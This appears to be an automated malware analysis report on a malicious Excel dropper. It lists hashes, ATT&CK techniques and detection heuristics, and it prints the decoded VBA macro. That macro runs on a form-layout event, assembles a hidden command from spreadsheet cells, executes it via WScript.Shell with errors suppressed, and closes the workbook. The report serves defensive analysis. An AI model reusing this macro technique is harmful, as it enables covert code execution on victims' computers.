Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f52bdd3323d3098…

MALICIOUS

Office (OLE)

106.0 KB Created: 2020-05-18 10:46:40 First seen: 2020-09-15
MD5: ee27fd2676dc71310eedd36e94776cc8 SHA-1: 078f1ca32e687a81aa9a39279d299b6b756c22cc SHA-256: 4f52bdd3323d30981684609c34ceee4d03ecb92db77fbbfdd75f2ee9b77a8dc5
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The VBA macro code utilizes WScript.Shell to execute commands, as indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_WSCRIPT' heuristics. The script appears to construct a command string from constants within the spreadsheet and then executes it using 'exec@'. This suggests the macro's primary purpose is to download and execute a second-stage payload, a common dropper behavior.

Heuristics 5

  • ClamAV: Xls.Dropper.Agent-7842252-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7842252-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Next: On Error Resume Next
    MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Next: On Error Resume Next
    MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting
    End Sub
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1005 bytes
SHA-256: c6e65a5ed4adf04d60acf34ec2334be007f5fca2eea8f99f9ae343549e523876
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "PtintStarting, 1, 0, MSForms, Frame"
Private Sub PtintStarting_Layout()
For Each Ass In [A30:GQ2000].SpecialCells(xlConstants)
If Len(Ass) > 2.44 Then A1_1 = A1_1 & Mid(Ass.Text, 2, 1)
Next: On Error Resume Next
MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting
End Sub
Sub EndPrinting()
ActiveWorkbook.Close False
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True